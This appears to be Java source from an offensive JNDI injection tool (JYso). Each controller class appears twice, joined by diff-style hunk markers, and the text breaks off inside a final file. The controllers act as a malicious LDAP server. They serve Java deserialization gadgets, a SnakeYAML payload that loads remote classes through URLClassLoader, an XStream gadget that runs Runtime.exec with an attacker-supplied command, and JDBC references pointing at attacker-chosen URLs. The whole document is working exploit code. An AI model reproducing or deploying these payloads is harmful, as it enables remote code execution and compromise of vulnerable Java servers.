import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
@LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController {
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
public static String gadgetType;
public static String cmd11;
public static GadgetType gadgetType1;
private String params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
byte[] bytes;
try {
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(params);
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
bytes = (byte[]) object;
} else {
ByteArrayOutputStream out = new ByteArrayOutputStream();
bytes = Serializer.serialize(object, out);
}
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", bytes);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
System.out.println("- JNDI Deserialization Links ");
try {
base = base.replace('\\', '/');
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
try {
gadgetType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
int fourIndex = base.indexOf("/", thirdIndex + 1);
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
// 若第三个斜杠不存在,则把其设置成为字符串的长度
if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType;
try {
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
if (payloadType == PayloadType.sethttp) {
params = BCEL1;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
}
if (payloadType == PayloadType.command) {
if (gadgetType1 == GadgetType.base64) {
cmd11 = Utils.getCmdFromBase(base);
}
if (gadgetType1 == GadgetType.base64Two) {
String encodedString = Utils.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
String T1 = new String(decodedBytes);
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
cmd11 = new String(decodedBytes1);
}
params = cmd11;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -1,71 +1,71 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController {
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + params[0] + "\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController {
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + params[0] + "\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -1,92 +1,92 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController {
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>" + params[0] + "</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController {
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>" + params[0] + "</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -1,96 +1,96 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
@LdapMapping(uri = {"/jdbc1"})
public class jdbcController1 implements LdapController {
private static final Logger log = LogManager.getLogger(jdbcController1.class);
private static String driverq;
private static String factoryType;
private static String[] params;
private static GadgetType gadgetType;
public static void printResultJDBC1(String base) throws Exception {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
driverq = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
}
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = driverq;
String JDBC_URL = params[0];
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory", factoryType);
e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try {
printResultJDBC1(base);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
@LdapMapping(uri = {"/jdbc1"})
public class jdbcController1 implements LdapController {
private static final Logger log = LogManager.getLogger(jdbcController1.class);
private static String driverq;
private static String factoryType;
private static String[] params;
private static GadgetType gadgetType;
public static void printResultJDBC1(String base) throws Exception {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
driverq = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
}
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = driverq;
String JDBC_URL = params[0];
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory", factoryType);
e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try {
printResultJDBC1(base);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -1,113 +1,113 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import javax.naming.RefAddr;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Enumeration;
@LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController {
private static final Logger log = LogManager.getLogger(jdbcController2.class);
private static String payloadType;
private static String factoryType;
private static String[] params;
private static GadgetType gadgetType;
public static void printResultJDBC2(String base) throws Exception {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
}
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
ref.add(new StringRefAddr("driverClassName", driver));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1"));
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll();
int sn = 0;
while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
sn++;
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try {
printResultJDBC2(base);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import javax.naming.RefAddr;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Enumeration;
@LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController {
private static final Logger log = LogManager.getLogger(jdbcController2.class);
private static String payloadType;
private static String factoryType;
private static String[] params;
private static GadgetType gadgetType;
public static void printResultJDBC2(String base) throws Exception {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
}
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
ref.add(new StringRefAddr("driverClassName", driver));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1"));
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll();
int sn = 0;
while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
sn++;
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try {
printResultJDBC2(base);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -1,44 +1,44 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
